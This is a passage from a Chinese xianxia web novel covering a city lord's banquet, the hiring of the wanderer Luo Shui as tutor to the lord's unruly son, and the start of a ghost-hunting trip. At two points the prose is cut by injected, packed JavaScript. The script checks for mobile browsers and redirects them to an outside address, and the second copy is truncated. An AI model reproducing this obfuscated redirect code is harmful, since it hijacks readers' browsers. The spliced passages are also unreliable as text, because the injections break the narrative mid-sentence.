“姨娘,城主说贵客已到,几时可用晚膳。”一婢女走来,入亭禀报,婉姨娘顺了顺胸口,缓缓道:“传令厨房,半个时辰后开启宴席。今日还未得空去见夫人,今日夫人精神如何?” “还是精神不太好,总是咳。不过大公子和二小姐回来这几日,夫人已比之前精神好太多了,也爱说话了,就是说完就更嗜睡了。”婢女的话让婉姨娘微微凝眉,叹了一声说道:“今日宴席结束后,我去陪夫人说说话。” “是。”得令后,婢女深鞠一躬,走了出去。洛水正不知如何时,婉姨娘转过头,关切地对洛水说道:“顾公子,你一定也饿了吧?今日便参加我们的小小家宴,痛饮一杯,白管事,去,立刻给顾公子安排一桌,要挨近我和城主的。” 白管事得令,身形一闪便不见了。洛水有些无奈,他今日并不饿,比起填肚子,他更想睡觉。 22. 二十二、家宴(二) 跟着婉姨娘一路走,又不知绕了多少的回廊,终于来到了一处幽静的小院。小院古朴而幽静,牌匾上‘芳馨园’三字苍劲有力。婉姨娘推门,步入繁花似锦、香气扑鼻的小天地。门楣上,几盏古朴灯笼轻轻摇曳,斑驳光影洒落,营造出一片与外界截然不同的温馨,与城主府的金碧辉煌形成鲜明对比。婉姨娘轻声笑道:“这里是我平日里静心的地方,虽不奢华,我却着实喜欢,偶尔也与夫人来这一同散散步,聊聊家常。” 洛水颔首,此处简朴中透着不凡,四周隐隐透出的禁制之力,这确是婉姨娘常来小憩的隐秘之地。 “婉姨娘的心境,倒是与这小院颇为契合。”洛水眼神环绕一圈说道。 “难得有人如此说,人人都说我是雷霆脾气,夜叉手段,唉,没意思。”婉姨娘说话之际,已走到了一扇紧闭的大门前,她伸出手指,御动灵气聚于指尖,在门上画出一道复杂的符文,随后大门缓缓开启,吐出一口雾气,门后景象渐渐清晰,竟是一间庄严且贵气的大厅。 “城主府太大了,我又没白管事移行的本事,只能用一些小术法让自己少走两步路了,平日里,我偏爱于芳馨园中的宁静,然而一旦有事相扰,行走于城主府便如翻山越岭般艰难。于是,我自设阵法,以求行事之便。”婉姨娘率先走进门后极尽奢华的大厅,洛水紧随其后,目光一直盯着那扇门,等两人出来后,发现两人身后的门已悄然关闭,仿佛从未开启。 “空间瞬移法?”洛水有些小欢喜,这个阵法曾在某本杂修古籍中略有提及,却未曾亲见。婉姨娘轻笑,眼中闪过一丝得意:“顾先生竟然懂得?都是我老家南海那边的小法术,我老家那常年与海妖作战,海中御敌实在难熬,都是为方便撤退才琢磨出这些小把戏。” “这类法术最远能传送多远?”洛水忘了自己的宾客身份,好奇地问道,但随后便察觉自己不妥,赶忙噤了声。 “至于能传送多远,我并未详细计算,但此法术需精心布下阴阳两方阵眼,只要它们足够稳固,灵力充盈,理论上跨越上万里亦非难事。” “上万里!”洛水心中震撼,不禁宣之于口,如若此法运用得当,那九州各地往来将如履平地。 “如若真的要瞬移万里,那阵眼所需的灵力姑且要元婴级别的修士才能驱动了。”婉姨娘见洛水神色,轻笑补充:“不过,若能参透其中奥妙,或许未来也能有所突破。” “姨娘,您瞧,我安排顾先生坐这可好?”白管事远远看见两人,快步走来,脸上带着恭敬的笑意。婉姨娘瞥了一眼白管事指的位置,坐落于主位的左手附近,点头道:“甚好,顾先生是贵客,自当如此。” “只是这样,天江门和合欢派的两位师兄,就得挨在一起坐了。”白管事出言提醒。 “挨着便挨着,往昔未曾紧邻之时,难道他们便少了那唇枪舌剑?每次家宴,皆被他们闹得如同市集般喧嚣,争吵之声不绝于耳。”婉姨娘满脸鄙夷,随后吩咐道:“白管事,引顾先生入座,我去瞧瞧他们做好准备没有。”说完匆匆离开。 “婉姨娘确实如白管事你所说,是个厉害的。”洛水跟在白管事后头打趣,白管事揉了揉鼻尖笑言:“没骗你吧,婉姨娘的手段在整个城主府,不,整个蓬莱城都是出了名的。来来来,顾先生你坐这。” 白管事引洛水至座位,细心调整座椅角度,确保舒适。洛水望向自己的座位,赫然位于主座之左,既显尊贵而不张扬,既能洞察全场动态,又巧妙避开了众人瞩目的焦点。 “这是贵宾席位吧,随便安排我个门客席位就是了。” “哎,顾先生乃贵宾也,请上座,来来来,快些上茶、上酒、上点心。”白管事一声招呼,立刻有仆人鱼贯而入,托盘上摆满了精致的茶具、醇香的酒壶和各式精美的点心。“顾先生你就等着开宴便是,老头还要协助姨娘做些杂活,你先吃点填填肚子,可别吃太多啊,好酒好肉都在后头呢。” ‘还吃呀…’洛水满脸微笑,心里苦闷。 约莫半个时辰过后,宾客已经来得基本齐全了,只还差几个贵宾席和主座的人,洛水斜倚着身躯,以手托腮,睡意如潮水般袭来,正欲陷入梦乡之时,只听白管事一声高亢呐喊:“城主到!” 所有人齐齐站起,洛水也跟着站起看向厅外,只见一名气宇轩昂的中年男子稳步走入,身着绣龙锦袍,面容威严,身后还跟着几人,洛水一下子就从衣服颜色上判断出来,一边是天江门,一边是合欢派,大公子陈楠和二小姐各站一边,显然是两大门派的代表。 这一行人的面色皆是阴沉,仿佛刚刚经历了一场激烈的争执,每个人的眉宇间都透露出一股难以掩饰的怒气,特别是城主,脸黑到了极点。 “诸位,坐,坐吧。”城主挥了挥手,众人依言落座。天江门与合欢派的弟子互瞪一眼,准备寻位坐下,白管事连忙上前引导,低声道:“今日天江门和合欢派的贵客,位置在这。”白管事指了指身边两张挨在一起的座位,示意他们相邻而坐。 “怎么回事,以往不都是坐那边的吗?”二小姐说着话,眼神瞟向洛水所坐的位置,看清位置上坐着的是洛水后,大喊:“怎么是他!” “樱儿,不得无礼,那是贵客。”坐于城主后侧的婉姨娘出言提醒,陈樱十分不服,说道:“婉姨,你不知道,就是他把枫儿打成……” “我知道,所以,他是贵宾,快快入座,切莫再胡闹。”婉姨娘再次提醒,这次城主也先看了一眼洛水,再转头看向陈樱,眼中的神色带着警告,陈樱嘟囔着嘴,虽不情愿却也只能坐下。陈楠倒是沉稳,带着他身后众人,坐在了指定的位置。 “大家,为今日蓬莱城之繁华,举杯!”城主先起身举杯,随后众人一起满杯倒上,一饮而尽。 “今日开宴前,有一事,我想与诸位商议,在座的都是蓬莱城的中流砥柱和贵客,此事与蓬莱城息息相关,望各位能多多给予帮扶。”城主顿了顿,目光扫过众人,语气凝重:“近日,东海巡察使探查得知,东海海域出现异常波动,距离蓬莱城五千里处海域,出现一妖穴,妖气冲天,巡察使回报说,此处妖穴乃鲛人妖穴,如今已有冲穴而出之势,如若等鲛人出穴,将会危及东海往来商船,破坏商路,故而,我想召集各位商议对策,务必在鲛人出穴前将其封印。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116032|164160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 城主的一番话听得洛水疑惑,这和自己在聚玲珑听到的话语出入太大,这鲛人妖穴的重点不是鲛珠吗?怎么现下成了讨伐妖穴了。但很快洛水又反应了过来,凡事都需出师有名,如若直接说‘我要去鲛人妖穴夺鲛珠,你们快来帮我’,想必是无人呼应,只有集体利益被危害,大家才会齐心协力。洛水心中暗忖,这城主果然老谋深算,懂得如何调动人心。 “我等必将为蓬莱城马首是瞻!” “我等必将为蓬莱城马首是瞻!” 说话的是一黑一白两拨人的带头人,那两人同时发声,让气氛瞬间紧张起来。众人目光交汇,心中各有盘算。城主微微点头,眼中闪过一丝满意。 “我等也是。”很快,其余宾客也纷纷附和,洛水撑着脑袋看着这一场戏码,嘴里塞了一口菜木讷地嚼着。 “好!大家如此众志成城,此次讨伐必定马到功成!大家,饮尽此杯!”城主的又一阵豪言壮语激起满堂热血,杯盏交错间。洛水瞥了一眼城主身后的婉姨娘,只见她面带微笑,但这笑,似乎有点僵硬。 “此次讨伐由城主府资助,各位只需报上参与人员即可,所需仙草灵药法器,一应按各位要求提供……”洛水心中暗自窃笑,城主府真是财雄势大,这等诱惑恐怕无人能挡。即便是那些原本犹豫不决的,恐怕也会为了这份丰厚的资助,豁出性命也要争取一席之地。 “父亲,我也要去!”就在众人互相触杯之际,一声少年嗓音从厅外传来,打破了宴会的喧嚣。众人循声望去,只见一少年气宇轩昂,眉目间透着坚定,拄着一根精铁拐杖,正一瘸一拐地进了大厅。 “你!”婉姨娘最先站起,眼神一挥,白管事立马小跑上去扑向少年,手捂住了少年的嘴。 “白老头,你放开我!你,放开!”一声哎哟,只见少年咬上了白管事捂嘴的手,疼得白管事连连喊叫。 “父亲,我也要参与讨伐妖穴,我也要!”少年的呐喊依旧响亮,洛水噙着酒杯,目光微闪,心中暗自思量:陈枫挨了自己那么多下,竟然一日不到就恢复了,这少年的体质非同寻常啊。 婉姨娘脸色一沉,快步上前,拽着陈枫低声斥道:“快走,别在这丢人现眼!” “母亲,你别拽我,父亲!我一定要参加,我一定要!”少年的声音随着被拽开而渐渐消失,城主脸色铁青,随后说道:“各位继续喝,继续,犬子胡闹无需理会。按照刚才所说,各位尽快拟定名单以及所需物件,待城主府准备好后,便立即出发封印妖穴!” “好!”众人齐声应和,气氛再次热烈,随后各自开始商议细节,整个厅堂喧嚣不已。洛水倍感无聊,此事本就与他无关,他今日只想找个安静之处休憩,怎料接连被卷入诸多事务中。他目光四处搜寻,企图找到白管事,以便找个理由离开,同时让白管事为自己寻一处能安静度日的居所。洛水轻轻放下酒杯,悄然起身,避开众人目光,朝厅外走去,就在此时,白管事恰好从厅外进来,见洛水欲走,赶忙一把拉住:“顾先生,走走走,婉姨娘找你。” “啊?”洛水一愣,心中暗自纳闷,怎么又找他? 23. 二十三、家宴(三) 白管事拉着洛水刚出门,洛水还未来得及说什么,只觉眼前一黑,旋即便是一阵天旋地转,周遭景物如走马灯般快速变幻,待到神智稍定,已发现自己身处一间屋内,此房亦是城主府一贯的奢靡样式,但是不同于多了些少年气息,墙上挂着的不再是字画,而是一把把各式各样的剑,屋中还有几个人形木桩,地上随意丢掷着几本半开的武学秘籍,空气中混合着淡雅的墨香与浓郁的汗味。 “我就要参加!为什么大哥和二姐能去,我就不能去!”一个少年的声音响起,洛水不看也知道说话的人是陈枫。 “你胡闹什么?这是去玩吗?这是去妖穴,你连猎灵都没弄明白,你凑什么热闹。”陈樱的劝和声响起,洛水循声望去,喝,城主一家人整整齐齐围着陈枫不住地劝解,只有婉姨娘坐在一旁,满脸铁青地喝着茶。 “我怎么不懂猎灵,上次要不是那腌臜散修,我至于一个没猎到吗?”陈枫不服气地辩解。“啊,你怎么在这!你这破腌臜散修!”陈枫怒目而视,指着洛水,众人这才注意到洛水的存在。 “我和你爹辛苦教了你那么多礼仪,你就这样对待客人?成何体统!”婉姨娘猛地站起来,直接推开众人,拉起陈枫,往旁边一推,陈枫立刻被推倒在地。其他人想去扶,婉姨娘厉声阻止:“不许扶他!” “姨娘,枫儿只是不懂事,何须如此待他。”陈楠也说话了,婉姨娘冷冷扫了地上陈枫一眼,突然间眼神看向城主,语气阴阳地说:“我是没法教这逆子了,教书的先生被他烧了胡子,教剑的师傅被他下药拉了七日,教他心法,还以为能沉静几日,谁曾想,在师傅的书里撒合欢散,九十多岁的老师傅,被他药得光着身子满院子追着人跑,你说说,这样的逆子怎么教?” “教孩子总是得慢慢来的嘛。”城主避开婉姨娘的眼神,小声嘀咕。 “慢慢来?他都十五了!还不够慢吗?如今不说他的功夫,连教养都没了,今日大殿之内不顾身份不顾廉耻地叫嚣要参与封印妖穴,下次呢?是不是就得带着蓬莱城的所有修士一同攻了别人的国做个皇帝!”婉姨娘说完,似是不解恨,一脚踢上陈枫的屁股。 “娘,你踢我又能如何?你知道我的,怎么打,睡一觉就好了,又何必踢疼了你的脚呢。”陈枫满脸不在意,虽然这一脚确实很疼。 “很好,你料定我没办法治你是吧!我告诉你,我请到高手来治你了!”随即,手一下拉住洛水,恶狠狠地说道:“从今日起,这位,就是你的新师傅!” “什么!”在场众人,纷纷惊讶道。 “婉姨娘,你这说的……我哪来的本事教三公子啊,我也不过是个筑基期散修。”洛水颇为为难地回答。 “就是,况且这位公子的来历尚不明晰,是否太……”城主在一旁满脸怀疑。 “太什么?”婉姨娘看向洛水的眼神带着雾气,还带着一丝乞求,婉姨娘拉着洛水指着陈枫说道:“就凭这位公子,连续殴打了你两回!我就得聘请他做你师傅!” “姨娘,此举恐有不妥吧?府中师傅众多,怎可轻易让一位年轻散修担当三弟之师?”陈樱眉头微皱,看向洛水带着一丝嫌弃。 “府里的师傅,个个本事都大于天,但是个个都不敢管,就因为他挂着一个‘三公子’的头衔。城主,嫁与你这十几年,我除了每日被府里的琐事缠得抽不开身,还要跟在这臭小子的屁股后面收拾烂摊子,你知道光他在城里肆意打砸我们就赔了多少钱吗?你知道他的名声在城里有多臭吗?你若再不管,那你便叫楠儿樱儿随便一个回来继承家业,他巴不得做个富贵二世祖!”婉姨娘的话让在场的陈枫和陈樱神色一紧,两人尴尬地别过头,随后走到城主身后,小声劝道:“爹,姨娘是真生气了,快点劝劝吧。” “好好好,我这就管教,只是这聘请不知底的人做师傅,我觉得还需要考量一下。” “考量什么?以往的师傅都是你定的,这次必须听我的!”婉姨娘拉住洛水的胳膊,说道:“我已经让白管事查清楚了,虽然是自学成才的散修,但他所施展的水系与冰系术法却异常精湛,运用自如。楠儿和樱儿各有师门,已不适合再练蓬莱大仙传承的《碧波诀》,你又忙哪有时间亲自教,不如就让这顾公子学会了,再教予枫儿!” “胡闹!碧波诀是能给外人学去的吗?” “如何不能?历代城主是否有下令禁止他人学习?这碧波诀我也会,如若我没嫁给城主,我算不算外人学了城主的秘法?” “你!强词夺理!”城主摆了摆手,叹气道。 “城主,枫儿已经十五了,这蓬莱城的城主之位必然是要给他的,楠儿与樱儿天资聪颖,已是年轻一辈中最早结成金丹的佼佼者,难不成日后你要用蓬莱城的事务挡了他们修行之路?枫儿如若再不懂事就要变成城患了,如若他日被奸人引导堕落,难不成你想看着有朝一日他被人斩于蓬莱城吗?”婉姨娘的话,让城主一下子无言以对。 城主沉思一会,才缓缓道:“你说得有道理,但我还是不相信这人能教好枫儿。” “城主要如何才能相信?”婉姨娘的话让城主又在原地反复踱步了一会,然后说道:“距蓬莱城一百里地,有一村,名为香禾村,此村原本是蓬莱城辖下盛产粮食的村子,但十年前,被一场大火烧毁,前不久,有邻村村民上报,说那地近日常有异象,白日可见水雾缭绕,夜晚则有红光闪烁,从村口行过能听见凄惨叫声,想来是荒废太久聚集怨气,生了什么凶鬼精怪,这两日事多还未来得及派人处理,若这顾公子能平息香禾村的异象,证明其术法高强且心性可靠,我便信他有能力教导枫儿。” 婉姨娘闻之,眸光微闪,一抹满意掠过,颔首轻应:“甚好!” “既然是要教导枫儿,此事当然要带上枫儿一起,如若他两人能解香禾村异象,姨娘说什么便是什么,我绝不二话!”城主目光斜睨陈枫,语带威严:“你叫嚷着要跟队封印妖穴,先除此村怨鬼,再来与我言及此事。”城主说完,拂袖离去,洛水呆在原地,心中呐喊:我可没答应啊! “楠儿樱儿,你们先回去陪陪你们母亲,我稍后过去找你们。”两人闻言,默默点头,转身离去。 “娘,我不要他……嗯……嗯……”陈枫从地上站起,刚开嘴要说什么,只见他上唇和下唇紧紧贴在一起,像是被无形之力封住,声音无法传出。 “吵什么?我允许你开口了?”言罢,一根绳索宛如灵蛇从暗处窜出,迅速缠绕陈枫周身,旋即便如藤蔓般攀上房梁,将他悬空吊起。陈枫奋力挣扎,眼中满是惊恐与不甘。婉姨娘冷冷一笑,转身对顾公子道:“顾公子,刚才实在是失礼,请顾公子莫怪。”说完,双膝一弯,给洛水跪了下去,一旁的白管事也被吓得一同跪下。 洛水忙上前扶起婉姨娘:“姨娘不必这样,只是刚才说的事,恕我不能答应。” “顾公子无须急着拒绝我,是否可以 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洛水只觉被人看穿了内心,顾青的身体只能修炼水冰二系法诀,与前世自己所修之道相悖,没有水冰二系的心法,使用的法术只能意念驱动,虽说能轻松对付普通修士,但意念驱动术法灵力损耗极为严重,如若遇到同等修士,陷入持久战,必有灵力枯竭之危,这也是为什么两次与陈枫对峙,都急着快速结束战斗的原因。相传蓬莱大仙能劈海分浪,想必其心法定奥妙无穷,眼前婉姨娘手中的《碧波诀》确实是极大的诱惑,而且自己再入红尘,不正是为了寻找提升修为的机缘吗? “这确实是个巨大的诱惑,只是洛水乃一届散修,且修为尚浅,如何能担得起三公子师傅如此重任。我性子本不喜拘束,很难在一处长待。而且收三公子为徒,日后若有差池,恐难辞其咎。责任太大,我担不起。”洛水紧了紧心绪,心法虽好,但授学责任太大,牵连太多,并非自己目前所能承受。 婉姨娘见状,眼中闪过一丝精光,轻声道:“顾公子不必担忧,只需偶尔指点一二,无需正式拜师。我们约期三年,其间一切供奉如常,绝不打扰公子清修。三年后,公子若觉不便,随时可自行离去,绝无半点强求。” “只指点一二便可?那不是谁都可以做到吗?”洛水不解。 “我并不奢望这混账能学业有成,只盼他能稳重行事,有担当,他的授学师傅就有十几位,可他根性不好,实在难教,其余师傅又不敢对他动手,都是些有头有脸的人物,蓬莱城名气高,总是怕打了他影响和蓬莱城的关系,如今他虽学得了一些杂乱无章的心法与剑术,却愈发肆意妄为,目中无人。我实在没有法子了,才想到请顾公子帮忙,毕竟你并非蓬莱城之人,又是散修,行事无须顾虑太多。”谈话间,婉姨娘又拿出一枚令牌,说道:“此令代表城主府的最高权限,持有者可自由出入城主府内,包括藏经阁、丹炉房、药草间、兵器库等,并可随意取用其中的任何物品。” 婉姨娘这最后一下,让洛水的防线完全崩塌,重新修炼的他,正是最缺各种物料的阶段,没想到今日竟有直接送上门的机缘,洛水暗喜,表面依旧不动声色,只淡淡道:“婉姨娘诚心我已感受,若婉姨娘如此说来,倒也可尝试,但也莫要着急,我想还是先过了城主所设那关,再说后事吧。”洛水心中权衡再三,深知此乃难得机遇,却也不愿轻易允诺,蓬莱城牵连甚多,贸然涉足恐生变故,须谨慎行事。 “好!那一言为定,封鬼事大,需好好做准备,顾公子且好好瞧下府中物品,有瞧得上的拿走便是。”婉姨娘说完,手中令牌已推入洛水手中,并把白管事寻来的《碧波诀》也一同送上,转身对白管事说道:“去,寻一处安静的院子给顾公子,不,是顾先生!把此事和下面的人说一下,别没头没脑地冲撞了。” 白管事嘿嘿一笑,领命而去。 24. 二十四、整装出发 七日后,此刻的洛水正坐于一处院内的凉亭中,面前飘着一本古籍,一会闭眼运气,一会睁眼看书。古籍翻动间,洛水心中渐明,只觉经脉之中一股冰凉之气缓缓流转,似与外界里的水汽相呼应。运行一周天,体内真元便愈发精纯,心神亦随之清明。 洛水轻吐一口气,感受着体内气息的微妙变化,心中暗自思忖:这本《碧波诀》确实有其奥妙之处,不仅能调和体内阴阳,还能借助万物水汽提升修为,实乃难得的修炼法门。若能细细参透其中精髓,或许会有更多的领悟。洛水有些不舍得放下手中《碧波诀》,没想到只是一眨眼就已过了七天。 那日后,婉姨娘给洛水安排了一处清幽别院,院中花草繁茂,灵气充沛。每日晨昏,洛水便在此修炼,心无旁骛。婉姨娘时常遣人送来灵草灵药,以助洛水更快炼化真元。只七日,洛水便觉体内真元大增,气息更为沉稳。 “原来正道术法是这个感觉。”洛水微笑,想起以往自己修炼的术法,每次都是修得晕头转向,急气攻心的,开始还以为是自己走火入魔了,最后才知道,魔道的功法就是要走火入魔。“难怪那么多人修正道,最起码在功法上,就比魔道舒服多了。”洛水心中打趣,又在心中算了下时间,已七日,拿人钱财便要与人消灾,是该去办正事了。 洛水站起身,整理衣衫,呼喊一声:“小翠。”闻声,一小婢女低着头匆匆跑来,双膝下跪问道:“主子有何吩咐?” “都说不要叫我主子了,听着别扭。”洛水不喜这种称呼,感觉自己像被束缚在高高的云端,难以脚踏实地。 “可是我有什么做得不好的,主子你打我骂我便是,可别遣走我。”名为小翠的婢女跪着发抖,洛水叹气,扶起小翠说道:“都说了,我不会遣走你,但是以后不要叫我主子了,这府里的主子是城主,你这胡乱叫不是给我添麻烦吗?以后叫我顾公子就是。” “是,主……顾公子。” “去,和姨娘说一声,我准备妥当了,今日便出发吧。”小翠领命,匆匆离去,洛水也转身回了房。关上房门后,洛水御动灵气,把腰间香囊一点,看着各类物品飞蹿出来,洛水心中欢喜。靠着婉姨娘的令牌,着实拿了不少的好灵药好仙草,这类物品还未来得及整理,现下已堆积如山。洛水精挑细选,取出新储物袋,将几株珍稀灵草收入其中,其余则重新放回香囊。洛水解下腰间香囊,塞入衣橱,随后挂上新的储物袋。 洛水看着香囊,想着此次出行,应是用不到从洞府带来的那些物品了,而且有些手段也不便在他人面前展露,还是先收好为妙。洛水手指一扣,香囊一道红光闪现,囊袋瞬间隐匿,无了踪影。 “城主府已诸多禁止,应该没人能偷得了吧,而且我还在自己院里多上了几道阵法,除了我应该没人靠得近。算了,以防万一,多给香囊上几道禁制。”洛水思索间,又在衣橱以及没了踪影的香囊上刻下数道复杂的符文,随后满意离去。 “顾公子,姨娘说她立刻去找三公子,是否依之前所说,在库房前见?”屋外传来小翠的声音,洛水关闭衣橱,出了房,又闩好门锁,点了点头:“是,就在库房前见。还有小翠,我不在这几日,切记不得靠近我房间三寸,不然必有恶果。”小翠脸色微变,忙不迭点头:“记住了,顾公子。” 洛水早前与婉姨娘说好,七日之期一到便启程,但洛水把出发地点选在了库房前,问及原因洛水也不说,只说了句,到时便知。 当洛水到达库房时,并未看见婉姨娘和陈枫,倒是先看到了陈樱举枪在此。洛水微微鞠躬,问候道:“问二小姐安。” “哼,你这腌臜散修,竟还敢留下,我劝你吃饱喝足拿够了赶紧走,要是被我发现你是那些个腌臜之辈,我先挑你脚筋,再断你手筋,让你求生……” “樱儿,你也来啦。”在二小姐对洛水下威胁时,城主和一众官员也陆续到场,洛水又是微微鞠躬:“见过城主大人。” “嗯。”城主的目光在洛水身上停留,带着一丝不信任,两人保持着不小的距离。随后,城主转头看向身旁的陈樱,语气中带着些许责备:“你怎么还在这?我交代你的事情,都办妥了吗?” “这不是今天枫儿要出任务嘛,我来给他送送行。”陈樱娇嗔地回应,眼神却瞥向洛水,敌意满满。 “我可先说,楠儿那头已经完成他那份列表里将近一半的要务了,之后要是被他占了先机,你可别怪我没提醒你,到时候天江门闹,我也不管。” “什么,一半了?那我得赶紧……”话未说完,婉姨娘拽着一根绳子走来,那绳子绑着的,正是陈枫,身后还跟着几人。婉姨娘先是问了城主安,随后把绳子递给洛水,笑道:“顾先生,枫儿就交给你了。” 洛水接过绳子,目光扫过陈枫,淡然点头:“定不负所托。”陈枫挣扎着怒吼:“放开我!” “顾先生,还有一件事想请您帮忙。能否再多带两个人一起去?他们都是枫儿同龄的孩子,修炼也有几年了,都想借此机会锻炼一下自己。城主说这次任务不难,想……”婉姨娘走到洛水身旁,压低嗓子小声说道:“其实就是城主想多找两个人护着枫儿,我实在是没法子了,先生莫怪,事后我定多补偿几万上等灵石给先生。” 洛水闻言,微微一笑,说道:“既然如此,一同去也无妨,是哪两位要同去。”婉姨娘指了指身后的两名少年:“这是李浩和赵明,都是枫儿的好友,身手不凡。”洛水点头,目光锐利地审视二人:“既然同行,便需齐心协力。”二人忙点头应是。此时,城主开口:“此次任务虽不难,但仍需谨慎,确保枫儿安全为上,至于能不能封印那鬼,我也没指望过外人……哎哟……”城主没说完,婉姨娘在一旁偷偷拧了一下城主的腰,打断了城主的话语,城主皱眉瞪了婉姨娘一眼,却未再言语。 洛水转头向身旁的小翠说了些什么,只见小翠点头,迅速离去。洛水手一招,绑着陈枫的绳子瞬间化为乌有,重获自由的陈枫怒视洛水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你是什么东西,也配我喊你一声先生,我……”陈枫嚣张地指着洛水,话未说完,陈枫的右手对着自己的脸蛋就是重重一甩,‘啪’一个响亮的耳光。陈枫愣住,脸上火辣辣的痛感让他瞬间清醒,眼中闪过一丝惊恐。洛水依旧笑吟吟,道:“作为弟子就要尊师重道,辱骂先生者,自食其果。你们三人既已饮下灵水,便与我有了师徒之缘,今后言行需谨遵师命,否则后果自负。” “你这水必有蹊跷,你这腌臜之物……”陈枫话未及完,右手已不由自主地扇向了自己的脸颊,身后两人目睹此景,脸色骤变,望向洛水的目光中充满了愤懑,却未敢如陈枫般开口辱骂,只是右手仍旧不受控制,‘啪’‘啪’两声,各自脸上也挨了一记响亮的耳光。 “在心里骂也不行哦,骂一次,打一巴掌。”洛水轻笑,转身向着城主和婉姨娘鞠了一躬,说道:“在下,在此拜别。”说完,一股清风扑面而来,众人被风晃得睁不开眼,待风息后,洛水与那三个少年,已不见了踪影。 “姨娘。” “嗯?” “你找先生的水平,确实比我高。”闻言,婉姨娘掩嘴一笑,拉住城主胳膊,娇嗔道:“那是自然,走吧,儿孙自有儿孙福,我们一起去看看姐姐。”城主轻拍婉姨娘手背,眼中闪过一丝赞许,随即转身走向内院。 25. 二十五、青石镇 吕老头正在家中田地收着稻草,忽然间,只觉一阵汹涌气流从上往下压来,稻草瞬间被卷起,形成一道小型旋风。吕老头愣神间,旋风已消失无踪,只留下满地狼藉,自己的田地边,还多了四人,一青年三少年,青年面带微笑,气定神闲,正是洛水。三个少年猝不及防地跌落在田间的泥泞中,哇哇乱叫着。他们一边哀嚎,一边失控地抽打着自己的脸颊,这番举动让吕老头不禁心惊胆战,一脸愕然。 “大叔,莫怕,我们不是妖怪。”青年温文儒雅,穿着一身浅蓝色短打衣衫,笑容可掬。“实在抱歉,从上面来的时候没看到,乱了你家草了,我来恢复原状。”洛水优雅地从袖中抽出一柄精致的玉扇,轻轻一挥,一股温润如玉的气流悠然拂过,原本散乱的稻草竟仿佛被无形之手牵引,缓缓归拢成堆。 “哎哟,是仙人啊,老头有眼无珠,莫怪莫怪。”吕老头忙不迭地弯腰行礼,眼中满是敬畏。 “大叔,您误会了,我并非什么神仙,只是一名来自蓬莱城的普通修士罢了。” “哦哦,蓬莱城来的神仙!” 洛水笑得有些无奈,开口询问道:“此处是什么地方,可否告知在下。” “俺们这是青石镇,离蓬莱城刚好百里。”吕老头赶忙回答。 “青石镇?问一下路,这离香禾村有多远?” “香禾村?”这三字一出,吕老头的脸色跟着一白,似是听到了什么忌讳之事,颤声道:“香禾村早在十年前便已荒废,据说那里闹鬼,无人敢靠近,小神仙去那干嘛?” “附近村民把此事禀报给了蓬莱城城主,故而遣我们来调查一番。” “哎哟,小神仙你们是来抓鬼的啊!太好了!太好了!快快,去我屋里坐下,我细细与你说来。”吕老头抓住洛水的胳膊,急匆匆地往田地不远处的屋院走去。 “稍等片刻,大叔,容我先将我这几位弟子解救出来。”洛水说罢,转身轻挥衣袖,只见三个被田间泥泞紧紧束缚的少年,被无形的力量托举,轻盈地落在了地上。三人脸上涂满了污泥,衣衫不整,眼中闪烁着对洛水更为强烈的愤懑之光,不多时,他们又开始了自惩之举,狠狠地抽打着自己的脸颊。 “这三个小孩是不是有什么疯病,怎么一直抽自己脸啊。”吕老头看着三人,疑惑道。 “他们这是在修炼一种特殊的法门,用以提升心境,不用管他们。”洛水解释道,吕老头凝眉看了一会,终究还是摇了摇头,不再多问,带着洛水往自己的院落走去。 院内虽简陋,却收拾得井井有条,院中有两女眷正在铺晒稻谷,吕老头进院,忙招呼道:“阿水,去倒茶来,老婆子,去煮点饭,有客人来了。” “哎。”应声的是个姑娘,端庄秀美,虽一身农妇打扮,却难掩其靓丽,浑身泥的三人都不自觉地看着那个叫阿水的姑娘。随后,屋内飘来一阵茶香,阿水端上热茶,眼神中透着对“神仙”的敬仰与好奇,但是看到洛水身后那三个‘泥人’后,又快速低下了头,掩嘴轻笑。 “大叔,看你刚才那么着急的样,你是对香禾村很熟悉吗?”洛水问道。 “哎呀,如何能不熟啊,我原本就是香禾村的人啊。”吕老头叹了口气,眼神中闪过一丝哀伤,摸了摸自己的腰间,掏出一杆老旧的烟杆,轻轻敲了敲地面,拿出烟草在两指间搓了许久,捏成一个团,又塞入烟杆中,点燃后深吸一口,缓缓吐出烟雾。“我本就是香禾村长大的,父母早亡,后来卖了家里的田娶了邻镇的婆娘,接管了老丈人的地,才搬到了青石镇,我双亲的坟如今还在香禾村呢。” “那香禾村十年前发生了什么事?”吕老头眉头紧锁,声音低沉:“这我不知,后来有逃出来的老乡借住过在我家,说是绿林下山作乱,烧杀抢掠,村子一夜之间成了鬼蜮。” “只是绿林下山,也不至于荒废十年不再建村呀。”身后的李浩突然出声,此刻他接过阿水递来的麻布巾,正擦拭自己的脸,一边擦一边说:“香禾村乃蓬莱城管辖村落,按蓬莱城律例,凡遭绿林洗劫之村,必由城主出资派兵重建。因为蓬莱城并非一国,虽说商路繁华,但是极为依靠周边村落物资,特别是香禾村这类盛产粮食的村落,除非有更隐秘之事,否则不会荒废至此。” “不错,看来你此行前确有准备,为师甚感欣慰。”洛水微微颔首,眼中流露出赞许之色,这让一旁的陈枫不禁对李浩投去一抹愤恨的目光。 “当年便报了上去,来过几个官兵勘查,但只转了一圈,就匆匆离去,再无音讯。活下来的村民无奈,只得背井离乡。那地死过人,其他村子镇子的人也不敢去,生怕沾了晦气。久而久之,香禾村便成了无人问津的禁地,连官府也不再过问。”吕老头说着,抹了把鼻子,声音有些颤抖。 “官兵勘查之时,可有寻得半分异样?”洛水追问。 